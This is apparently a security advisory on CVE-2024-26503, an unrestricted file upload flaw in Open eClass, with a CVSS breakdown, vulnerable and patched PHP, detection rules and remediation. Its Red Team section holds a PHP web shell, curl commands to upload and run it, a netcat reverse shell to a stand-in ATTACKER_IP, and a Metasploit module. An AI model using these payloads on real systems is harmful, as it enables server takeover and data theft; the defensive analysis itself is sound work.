CVE-2024-26503

Executive Summary

CVE-2024-26503 is an Unrestricted File Upload vulnerability discovered in the Greek Universities Network Open eClass platform, affecting version 3.15 and earlier. The flaw resides in the certbadge.php endpoint, allowing an unauthenticated attacker to upload a crafted file (e.g., a web shell) to the server. Successful exploitation leads to arbitrary code execution under the context of the web server user, potentially resulting in full server compromise, data exfiltration, and lateral movement within the network. The vulnerability is publicly known, but no official patch has been released by the vendor at the time of this analysis.

Supply Chain & Package Security

Open eClass is a custom PHP application, not distributed via NPM, PyPI, Go, or Ruby. However, its deployment often relies on a LAMP/LEMP stack. The supply chain risk is moderate: if the application is installed via a package manager (e.g., apt on Debian/Ubuntu), the underlying PHP, Apache/Nginx, and MySQL/MariaDB packages must be kept up-to-date. The primary risk is the lack of a vendor patch for the core application itself.

CVSS Breakdown & Threat Level

While the NVD CVSS score is 0.0 (likely due to incomplete data), a reasonable CVSS v3.1 vector based on the vulnerability description is:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full file system read access is possible.
• Integrity (I): High – Arbitrary file write/execute is possible.
• Availability (A): High – An attacker could delete files or crash the service.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a high-priority vulnerability for any organization using Open eClass.

Deep Dive & Mechanics

The vulnerability is a classic Unrestricted File Upload (CWE-434). The certbadge.php endpoint is designed to handle badge/certificate image uploads. The flaw lies in the lack of proper validation of the uploaded file's type, content, and extension.

Attack Flow:

1. Reconnaissance: An attacker identifies an Open eClass instance (e.g., via Shodan dorks).
2. Craft Payload: The attacker creates a PHP web shell (e.g., shell.php) containing code like <?php system($_GET['cmd']); ?>.
3. Upload: The attacker sends a POST request to /certbadge.php with the malicious file in the file parameter (or similar).
4. Execution: The server stores the file in a web-accessible directory (e.g., /uploads/ or /certbadge/). The attacker then accesses the uploaded file directly via its URL, e.g., http://target/eclass/certbadge/shell.php?cmd=id.
5. Persistence: The attacker may upload additional tools, create a reverse shell, or modify existing files.

Root Cause: The certbadge.php script likely uses a function like move_uploaded_file() without checking:

• File extension (e.g., .php, .phtml, .php5)
• MIME type (e.g., application/x-php)
• File content (e.g., magic bytes)
• File size limits

Vulnerable vs. Patched Code

Since no official patch is available, this section illustrates the vulnerable pattern and a hypothetical secure implementation.

Vulnerable Code (Conceptual):

<?php
// certbadge.php - VULNERABLE
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}
?>

Patched Code (Conceptual):

<?php
// certbadge.php - PATCHED
$target_dir = "uploads/";
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif'];

$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
$file_mime_type = mime_content_type($_FILES["file"]["tmp_name"]);

if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file extension.");
}

if (!in_array($file_mime_type, $allowed_mime_types)) {
    die("Invalid file type.");
}

// Additional: Check file content for PHP tags
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if (preg_match('/<\?php/i', $file_content)) {
    die("File contains PHP code.");
}

// Generate a random filename to prevent path traversal and overwrite
$new_filename = uniqid() . '.' . $file_extension;
$target_file = $target_dir . $new_filename;

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Deploy Open eClass v3.15 on a local VM (e.g., using Docker or a manual LAMP stack).
2. Attacker: Kali Linux VM with common tools (curl, Burp Suite, Metasploit).

Exploitation Steps:

1. Create a PHP Web Shell:

   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   

2. Upload the Shell:

   curl -X POST -F "file=@shell.php" http://target/eclass/certbadge.php
   

3. Execute Commands:

   curl "http://target/eclass/uploads/shell.php?cmd=id"
   

4. Upgrade to Reverse Shell (Optional):

   • On attacker: nc -lvnp 4444
   • On target: curl "http://target/eclass/uploads/shell.php?cmd=nc%20-e%20/bin/sh%20ATTACKER_IP%204444"

Metasploit Module (Conceptual):

# exploit/multi/http/open_eclass_upload_exec.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Open eClass certbadge.php Unrestricted File Upload',
      'Description'    => 'This module exploits an unrestricted file upload vulnerability in Open eClass.',
      'Author'         => ['Valters IT'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2024-26503']],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))
  end

  def exploit
    # Upload payload
    print_status("Uploading payload...")
    payload_name = rand_text_alphanumeric(8) + '.php'
    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'certbadge.php'),
      'data'   => data.to_s,
      'ctype'  => "multipart/form-data; boundary=#{data.bound}"
    })
    if res and res.code == 200
      print_good("Payload uploaded as #{payload_name}")
      register_files_for_cleanup(payload_name)
    else
      fail_with(Failure::UnexpectedReply, 'Upload failed')
    end

    # Execute payload
    print_status("Executing payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'uploads', payload_name)
    })
  end
end

Blue Team (Defensive)

Detection & Response:

1. Monitor File Uploads: Alert on any file upload to certbadge.php that results in a non-image file (e.g., .php, .phtml, .asp).
2. Web Application Firewall (WAF) Rules:
   • Block requests to certbadge.php with Content-Type not matching image/*.
   • Block requests containing <?php in the POST body.
3. File Integrity Monitoring (FIM): Monitor the uploads/ directory for new .php files.
4. Log Analysis: Look for certbadge.php in access logs followed by requests to the uploaded file.
5. Honeypot: Deploy a fake certbadge.php that logs all upload attempts and blocks the IP.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_26503_Open_eClass_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-26503"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26503"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = /\$_GET\s*\[\s*['"]cmd['"]\s*\]/
        $post_param = /\$_POST\s*\[\s*['"]cmd['"]\s*\]/
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param or $post_param)
}

Sigma Rule

title: Open eClass certbadge.php File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file upload attempts to the vulnerable certbadge.php endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/eclass/certbadge.php'
    condition: selection
falsepositives:
    - Legitimate badge uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26503 Open eClass certbadge.php File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/certbadge.php"; http.request_body; content:"filename="; pcre:"/\.(php|phtml|php5|shtml|asp|aspx|jsp)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Endpoint: If certbadge.php is not critical, remove or rename it.
2. Web Application Firewall (WAF): Deploy rules to block file uploads to certbadge.php with non-image extensions.
3. Input Validation: Implement server-side validation for file type, extension, and content.
4. File Storage: Store uploaded files outside the web root and serve them via a proxy script that enforces MIME types.
5. Least Privilege: Ensure the web server user has minimal write permissions.

Long-Term Fix:

• Apply the vendor patch when released.
• Upgrade to a patched version of Open eClass.
• Conduct a security audit of the entire application.

Workaround:

• Use a .htaccess file in the uploads directory to deny execution of PHP files:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2024-26503